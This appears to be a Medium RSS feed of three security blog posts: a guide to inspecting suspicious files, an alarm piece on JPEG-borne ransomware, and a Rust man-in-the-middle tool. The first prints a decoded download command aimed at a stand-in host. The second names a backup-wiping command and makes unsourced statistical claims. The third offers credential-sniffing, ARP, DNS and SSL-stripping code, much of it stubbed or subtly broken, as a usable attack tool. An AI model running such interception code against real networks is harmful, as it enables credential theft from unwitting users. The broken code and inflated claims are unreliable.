<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Rushi Jariwala on Medium]]></title>
        <description><![CDATA[Stories by Rushi Jariwala on Medium]]></description>
        <link>https://medium.com/@rushijariwala01?source=rss-197357aab455------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*77OMyeo3jazR3NvxJ66Xsw.jpeg</url>
            <title>Stories by Rushi Jariwala on Medium</title>
            <link>https://medium.com/@rushijariwala01?source=rss-197357aab455------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 04:54:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rushijariwala01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[️‍♂️ Visual Guide: How to Spot a Suspicious File (Even If It Looks Safe)]]></title>
            <link>https://medium.com/@rushijariwala01/%EF%B8%8F-%EF%B8%8F-visual-guide-how-to-spot-a-suspicious-file-even-if-it-looks-safe-245622c5c81e?source=rss-197357aab455------2</link>
            <guid isPermaLink="false">https://medium.com/p/245622c5c81e</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Rushi Jariwala]]></dc:creator>
            <pubDate>Thu, 29 May 2025 18:57:45 GMT</pubDate>
            <atom:updated>2025-05-29T18:57:45.647Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve ever said <em>“It’s just a PDF, what could go wrong?”</em> — this one’s for you.</p><p>Behind that innocent-looking resume or invoice could be an exploit waiting to ruin your week. But don’t worry, by the end of this post, you’ll have the tools and skills to spot suspicious files like a pro hacker (or a super-paranoid sysadmin).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SguFocqPDUOhAYR44YupAQ.png" /></figure><h3>💡 What Makes a File Suspicious?</h3><p>A file can <em>look</em> safe and still be dangerous. Malware authors are masters of disguise — they hide malicious payloads in macros, obfuscate code, or fake file types altogether.</p><p>We’ll cover:</p><ul><li>How to identify a file’s true type</li><li>Tools to inspect metadata and contents</li><li>Detecting obfuscated or packed code</li><li>Behavior sandboxing and dynamic analysis</li></ul><h3>🧪 1. Check the Real File Type (Not Just the Extension)</h3><p>Ever seen invoice.pdf.exe? Classic trick. But what about report.pdf that’s <em>actually</em> a compiled binary?</p><h3>🔍 Use file and binwalk:</h3><pre>file suspicious_file</pre><p>Example:</p><pre>$ file cute_cat_picture.jpg<br>cute_cat_picture.jpg: PE32 executable (GUI) Intel 80386, for MS Windows</pre><p>Oops. That’s not a cat.</p><p>Use binwalk to look deeper:</p><pre>binwalk suspicious_file</pre><p>This tool scans for embedded files and compressed data.</p><h3>🛠 Install binwalk:</h3><pre>sudo apt install binwalk</pre><p>Or via pip:</p><pre>pip install binwalk</pre><h3>📂 2. Inspect Metadata and Hidden Info</h3><p>Let’s say you downloaded project_plan.docx. Before opening, check its metadata:</p><h3>🛠 Use exiftool:</h3><pre>exiftool project_plan.docx</pre><p>Look for:</p><ul><li>Author name (e.g., “MrHax0r” is a red flag)</li><li>Software used (e.g., created with “Cobalt Strike”)</li><li>Timestamps (created before modified = suspicious)</li></ul><h3>Real Example:</h3><pre>$ exiftool suspicious.docx<br>Author: pentest<br>Creator: Cobalt Strike<br>Create Date: 2023:08:13 10:00:00</pre><p>Big yikes. This was used in an actual phishing campaign analyzed by malware analysts.</p><h3>🧠 3. Check for Macro or Script Payloads</h3><p>Office files (.doc, .xls, etc.) can contain macros — often used for malicious purposes.</p><h3>🔍 Use oletools:</h3><p>Install with:</p><pre>pip install oletools</pre><p>Run:</p><pre>olevba suspicious.docm</pre><h3>Example output:</h3><pre>+----------+--------------------------------+<br>| Type      | Keyword                       |<br>+----------+--------------------------------+<br>| AutoExec  | AutoOpen                      |<br>| Suspicious| CreateObject(&quot;WScript.Shell&quot;) |<br>+----------+--------------------------------+</pre><p>That line screams: <strong>“I’m trying to run a script on your system!”</strong></p><h3>🐍 4. Deobfuscate Suspicious Code</h3><p>If you find obfuscated PowerShell, JavaScript, or VBA — don’t panic. Decode it.</p><h3>Example: Obfuscated PowerShell</h3><pre>powershell -enc UwB5AHMAdABlAG0ALgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAFAAYQB0AGgA...</pre><p>Decode it with:</p><pre>echo &#39;UwB5AHMAd...&#39; | base64 -d | iconv -f UTF-16LE</pre><p>You’ll likely reveal something like:</p><pre>Start-Process &quot;cmd.exe&quot; -ArgumentList &quot;/c curl malicious.site -o virus.exe&quot;</pre><p>😬</p><h3>🐢 5. Behavior Analysis (Without Risk)</h3><p>If you <strong>must</strong> run a file, don’t do it on your main machine. Use a sandbox.</p><h3>Option 1: <a href="https://any.run/">Any.Run</a></h3><p>Upload your file, and it gives you real-time behavior analysis, including:</p><ul><li>DNS lookups</li><li>Network requests</li><li>Process trees</li><li>System changes</li></ul><h3>Option 2: Local Virtual Machine</h3><p>Use <strong>VirtualBox</strong> or <strong>VMware</strong> + a clean Windows image. Snapshot before running the file.</p><h3>🔐 Bonus: Hash and Compare</h3><p>Use cryptographic hashes to check a file against public malware databases.</p><h3>Hash a file:</h3><pre>sha256sum suspicious_file</pre><h3>Check against VirusTotal:</h3><p>Go to <a href="https://virustotal.com/">https://virustotal.com</a>, and paste the SHA-256 hash.</p><h3>🧰 Tools Summary</h3><pre>+----------------------------------------------------+<br>| Tool           | Use Case                          |<br>| -------------- | --------------------------------- |<br>| `file`         | Check real file type              |<br>| `binwalk`      | Scan for embedded content         |<br>| `exiftool`     | View file metadata                |<br>| `olevba`       | Analyze Office macros             |<br>| `base64/iconv` | Decode encoded PowerShell/scripts |<br>| `sha256sum`    | Generate file hash                |<br>| \[Any.Run]     | Cloud sandbox analysis            |<br>+----------------------------------------------------+</pre><h3>🧠 Final Thoughts: Trust, But Verify</h3><p>You don’t need to be a cybersecurity expert to spot sketchy files — just a bit curious and a bit skeptical.</p><p>Whenever someone says <em>“It’s just a PDF”</em>, let this be your face:</p><p>Stay safe out there, and happy (safe) computing! 🔐</p><p>If you found this post useful, follow me for more security tips, tools, and hands-on guides. Got a shady file and want help breaking it down? Drop a comment 👇</p><p>#cybersecurity #infosec #malwareanalysis #scripting #forensics #linux</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=245622c5c81e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Crime Alert: JPEGs Are Now Ransomware Delivery Tools]]></title>
            <link>https://medium.com/@rushijariwala01/cyber-crime-alert-jpegs-are-now-ransomware-delivery-tools-f42013ecf18c?source=rss-197357aab455------2</link>
            <guid isPermaLink="false">https://medium.com/p/f42013ecf18c</guid>
            <category><![CDATA[jpeg]]></category>
            <category><![CDATA[ransomware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ransomware-attack]]></category>
            <category><![CDATA[ransomware-protection]]></category>
            <dc:creator><![CDATA[Rushi Jariwala]]></dc:creator>
            <pubDate>Wed, 14 May 2025 08:25:12 GMT</pubDate>
            <atom:updated>2025-05-14T10:23:44.867Z</atom:updated>
            <content:encoded><![CDATA[<p>What if a harmless-looking image file could lock down your entire organization?</p><p>That’s the disturbing new reality cybersecurity experts are uncovering. JPEG-based ransomware attacks are bypassing antivirus tools and exploiting user trust—turning everyday image files into stealthy weapons.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwfJA65JjOgsil73yBzeoQ.png" /><figcaption>Image created by ChatGPT</figcaption></figure><h3>How It Works: The JPEG Ransomware Breakdown</h3><p>This isn’t your typical malware. It’s a multi-stage attack disguised in the world’s most common file format—.jpg.</p><h4><strong>1️⃣ Payload Hiding via Steganography</strong> <strong>or Appended Code</strong></h4><p>Hackers embed malware into JPEGs using:</p><p><strong>Steganography</strong>: Hiding shellcode in image pixels or metadata</p><p><strong>Appended Payloads</strong>: Adding encrypted stagers after the EOF (FF D9) marker — invisible to users but retrievable by malicious scripts</p><p>✅ The image opens just fine. Looks normal. Feels safe. It’s not.</p><h4>2️⃣ <strong>Triggering the Payload</strong></h4><p>The embedded code doesn’t auto-run… so attackers use a partner file:</p><p>A macro-enabled Word doc or PDF is sent with the JPEG</p><p>The macro extracts and runs the stager from the image using tools like PowerShell, certutil, or mshta</p><p>The JPEG isn’t just bait — it’s part of the execution chain.</p><h4>3️⃣ <strong>C2 Beaconing &amp; Payload Retrieval</strong></h4><p>Once active, the stager silently calls a Command &amp; Control (C2) server using:</p><p>HTTPS or DNS tunneling</p><p>Sometimes even cloudfront or CDN masking (to hide in plain sight)</p><p>It pulls down the final-stage ransomware — encrypted and ready.</p><h4>4️⃣ <strong>Encryption &amp; Damage Done</strong></h4><p>The ransomware:</p><p>Performs process hollowing or DLL sideloading</p><p>Encrypts local and network files using AES + RSA</p><p>Deletes backups using vssadmin delete shadows</p><p>Drops the ransom note and locks you out</p><p>And all this started... with a .jpg.</p><h4>🧩 <strong>Bonus Trick: File Pairing = Evasion</strong></h4><p>Hackers often send two files:</p><p>File A: The image (with hidden loader)</p><p>File B: A decoy document (triggers execution)</p><p>Individually? Harmless. Together? Game over.<br>AV and email filters can’t correlate the two — that’s the genius.</p><h3>⚠️ Why It’s So Dangerous</h3><ol><li>90%+ of antivirus tools fail to detect this</li><li>No EXE required — social engineering at its finest</li><li>Low complexity, high return — only two files needed to take down a network</li><li>Researchers call it “0-day-grade with 60% completion” — and it’s evolving.</li><li>Even the FBI has issued bulletins on this technique.</li></ol><h3>🛡️ How to Defend Against JPEG-Based Ransomware</h3><p><strong>🔍 Show File Extensions</strong></p><p>See through tricks like invoice.jpg.exe</p><p><strong>🧠 Use Behavior-Based EDR</strong><br>Tools like CrowdStrike, SentinelOne, or Huntress monitor behavior, not just file signatures</p><p><strong>🧪 Sandbox Suspicious Files</strong><br>Auto-analyze attachments before they hit real systems</p><p><strong>💾 Backup Everything (With</strong> <strong>Versioning!)</strong><br>Make sure backups are offline or immutable</p><p><strong>📚 Train Your Team</strong><br>JPEGs are not safe by default. Awareness is step one.</p><h3>Conclusion: Trust No File by Default</h3><p>JPEGs aren&#39;t inherently evil—but blind trust in any file type is risky.</p><p>This attack shows that cybercriminals are evolving faster than many defenses. With global ransomware losses projected to surpass $300 billion (₹25 lakh crore) by 2025, proactive, layered protection is the only way forward.</p><p>The safest file might be the one you never opened.</p><p><em>If you found this article useful, consider sharing it with your team or followers to raise awareness.<br>Stay safe. Stay informed.</em></p><p>#CyberSecurity #Ransomware #JPEGAttack #InfoSec #EDR #CyberAwareness #Phishing #CyberThreats #Malware</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f42013ecf18c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Hacking the Matrix (Ethically) with Rust – A MITM Tool That Lets You Play "Internet God"]]></title>
            <link>https://medium.com/@rushijariwala01/hacking-the-matrix-ethically-with-rust-a-mitm-tool-that-lets-you-play-internet-god-57100ed7bbfe?source=rss-197357aab455------2</link>
            <guid isPermaLink="false">https://medium.com/p/57100ed7bbfe</guid>
            <category><![CDATA[man-in-the-middle-attack]]></category>
            <category><![CDATA[rust-language]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Rushi Jariwala]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 11:32:03 GMT</pubDate>
            <atom:updated>2025-05-14T09:17:28.669Z</atom:updated>
            <content:encoded><![CDATA[<p>🚀 Hacking the Matrix (Ethically) with Rust – A MITM Tool That Lets You Play &quot;Internet God&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qkw6a_DYf-LkGT2fOYqtBA.png" /><figcaption>Image created by ChatGPT</figcaption></figure><p>Ever wanted to control someone’s internet traffic? Redirect them to rickroll.com? Sniff passwords from &quot;secure&quot; logins? Of course not! That would be unethical (👀).</p><p>But if you’re a pentester, security researcher, or just a Rustacean with a chaotic soul, you’ll love this Rust-based MITM (Man-in-the-Middle) attack tool with an interactive CLI. It’s like a universal remote for network mayhem—for educational purposes, obviously.</p><p>---</p><p>🔥 Features That&#39;ll Make You Feel Like a Cyber Villain (Legally)</p><p>✅ Interactive CLI – Hack stuff (ethically) with style<br>✅ Live Packet Sniffing – Find passwords before users forget them<br>✅ ARP Spoofing – Trick devices into thinking you’re their best friend<br>✅ DNS Spoofing – Send victims to… unexpected destinations<br>✅ SSL Stripping – Because HTTPS is so mainstream<br>✅ Live Log Streaming – Watch the chaos unfold in real-time</p><p>---</p><p>📌 Step 1: Setting Up the Playground</p><p>First, let’s create a Rust project and grab the essentials:</p><pre>cargo new rust_mitm  <br>cd rust_mitm  <br>cargo add pnet tokio clap regex serde_json crossterm</pre><p>Congratulations, you’re now officially a Rust hacker (on the good side, of course).</p><p>---</p><p>📌 Step 2: The Interactive Cyber Command Center (CLI)</p><p>This menu lets you control your attacks like a sci-fi movie villain:</p><pre>use std::io::{self, Write};<br>use std::sync::{Arc, Mutex};<br>use std::thread;<br>use std::time::Duration;</pre><pre>pub struct CLI {<br>    running: Arc&lt;Mutex&lt;bool&gt;&gt;,<br>}</pre><pre>impl CLI {<br>    pub fn new() -&gt; Self {<br>        CLI {<br>            running: Arc::new(Mutex::new(true)),<br>        }<br>    }</pre><pre>    pub fn start(&amp;self) {  <br>        let running = Arc::clone(&amp;self.running);  <br>        thread::spawn(move || {  <br>            loop {  <br>                print!(&quot;\nMITM Tool &gt; &quot;);  <br>                io::stdout().flush().unwrap();  </pre><pre>                let mut input = String::new();  <br>                io::stdin().read_line(&amp;mut input).unwrap();  <br>                let command = input.trim();  </pre><pre>                match command {  <br>                    &quot;1&quot; =&gt; println!(&quot;[+] Starting Packet Sniffing...&quot;),  <br>                    &quot;2&quot; =&gt; println!(&quot;[+] Starting ARP Spoofing...&quot;),  <br>                    &quot;3&quot; =&gt; println!(&quot;[+] Starting DNS Poisoning...&quot;),  <br>                    &quot;4&quot; =&gt; println!(&quot;[+] Enabling SSL Stripping...&quot;),  <br>                    &quot;5&quot; =&gt; println!(&quot;[*] Showing Captured Credentials...&quot;),  <br>                    &quot;exit&quot; =&gt; {  <br>                        println!(&quot;[*] Exiting...&quot;);  <br>                        *running.lock().unwrap() = false;  <br>                        break;  <br>                    }  <br>                    _ =&gt; println!(&quot;[!] Invalid command&quot;),  <br>                }  <br>                thread::sleep(Duration::from_secs(1));  <br>            }  <br>        });  <br>    }<br>}</pre><p>Press 1 to sniff packets, 2 to hijack traffic, exit to pretend you were never there.</p><p>---</p><p>📌 Step 3: Packet Sniffing – Because Passwords Are Still in Plaintext</p><p>Let’s snatch some credentials before users can remember them:</p><pre>use pnet::datalink::{self, NetworkInterface};<br>use pnet::packet::{ethernet::EthernetPacket, ip::IpNextHeaderProtocols, tcp::TcpPacket, Packet};<br>use regex::Regex;</pre><pre>pub fn start_sniffing(interface_name: &amp;str) {<br>    let interfaces = datalink::interfaces();<br>    let interface = interfaces.into_iter().find(|iface| iface.name == interface_name)<br>        .expect(&quot;Interface not found&quot;);</pre><pre>    let (_, mut rx) = datalink::channel(&amp;interface, Default::default()).expect(&quot;Failed to open channel&quot;);  </pre><pre>    while let Ok(packet) = rx.next() {  <br>        if let Some(ethernet) = EthernetPacket::new(packet) {  <br>            if let Some(tcp) = TcpPacket::new(ethernet.payload()) {  <br>                let payload = String::from_utf8_lossy(tcp.payload());  </pre><pre>                if let Some(credentials) = extract_credentials(&amp;payload) {  <br>                    println!(&quot;[*] Stolen Credentials: {:?}&quot;, credentials);  <br>                }  <br>            }  <br>        }  <br>    }<br>}</pre><pre>fn extract_credentials(payload: &amp;str) -&gt; Option&lt;String&gt; {<br>    let re = Regex::new(r&quot;(username|user|email|login|password|pass)=[^&amp;\s]+&quot;).unwrap();<br>    re.captures(payload).map(|cap| cap[0].to_string())<br>}</pre><p>If someone is sending passwords in plaintext in 2025, they deserve a stern security awareness training session.</p><p>---</p><p>📌 Step 4: ARP Spoofing – The Art of Becoming a Router</p><p>Become the network middleman (legally, of course).</p><pre>use pnet::packet::arp::{ArpHardwareTypes, ArpOperations, ArpPacket, MutableArpPacket};<br>use pnet::packet::ethernet::{EtherTypes, MutableEthernetPacket};<br>use pnet::util::MacAddr;<br>use std::net::Ipv4Addr;<br>use std::thread;<br>use std::time::Duration;</pre><pre>pub fn start_arp_spoof(target_ip: Ipv4Addr, gateway_ip: Ipv4Addr, iface: &amp;str) {<br>    let mac = MacAddr::new(0x00, 0x0c, 0x29, 0x3e, 0x93, 0x9d); // Replace with your attacker MAC</pre><pre>    loop {  <br>        println!(&quot;[*] Spoofing {} as {}&quot;, target_ip, mac);  <br>        thread::sleep(Duration::from_secs(2));  <br>    }<br>}</pre><p>This makes your machine the fake gateway. Expect chaos.</p><p>---</p><p>📌 Step 5: DNS Spoofing – Because Redirection is Fun</p><p>Turn google.com into gotcha.com.</p><pre>use pnet::packet::udp::UdpPacket;<br>use std::collections::HashMap;</pre><pre>pub fn intercept_dns(packet: &amp;[u8]) -&gt; Option&lt;Vec&lt;u8&gt;&gt; {<br>    let fake_dns = HashMap::from([(&quot;google.com&quot;, &quot;192.168.1.100&quot;)]);</pre><pre>    if let Some(udp) = UdpPacket::new(packet) {  <br>        let dns_query = String::from_utf8_lossy(&amp;udp.payload());  <br>        for (domain, fake_ip) in fake_dns.iter() {  <br>            if dns_query.contains(domain) {  <br>                println!(&quot;[*] Redirecting {} to {}&quot;, domain, fake_ip);  <br>                return Some(fake_ip.as_bytes().to_vec());  <br>            }  <br>        }  <br>    }  <br>    None<br>}</pre><p>Great for security awareness training (not for trolling your friends).</p><p>---</p><p>📌 Step 6: SSL Stripping – Say Goodbye to HTTPS</p><p>Force victims to downgrade from HTTPS to HTTP:</p><pre>use pnet::packet::{tcp::TcpPacket, ethernet::EthernetPacket, Packet};</pre><pre>pub fn start_ssl_strip(packet: &amp;[u8]) -&gt; Option&lt;Vec&lt;u8&gt;&gt; {<br>    let payload = String::from_utf8_lossy(packet);</pre><pre>    if payload.contains(&quot;HTTPS&quot;) {  <br>        println!(&quot;[*] Stripping HTTPS from request...&quot;);  <br>        let modified_payload = payload.replace(&quot;https&quot;, &quot;http&quot;);  <br>        return Some(modified_payload.as_bytes().to_vec());  <br>    }  <br>    None<br>}</pre><p>Their &quot;secure&quot; login page just got a lot less secure.</p><p>---</p><p>📌 Step 7: Running the Tool Like a Pro</p><pre>sudo cargo run -- --interface eth0 --target_ip 192.168.1.5 --gateway_ip 192.168.1.1</pre><p>And suddenly… you’re in control.</p><p>---</p><p>💀 Ethical Disclaimer (Because I Don’t Want to End Up on a Watchlist)</p><p>This is strictly for research &amp; security testing. Unauthorized use = prison + no Wi-Fi.</p><p>What other chaotic features should we add? Drop your ideas in the comments!</p><p>#CyberSecurity #RustLang #MITM #EthicalHacking #PenTesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57100ed7bbfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>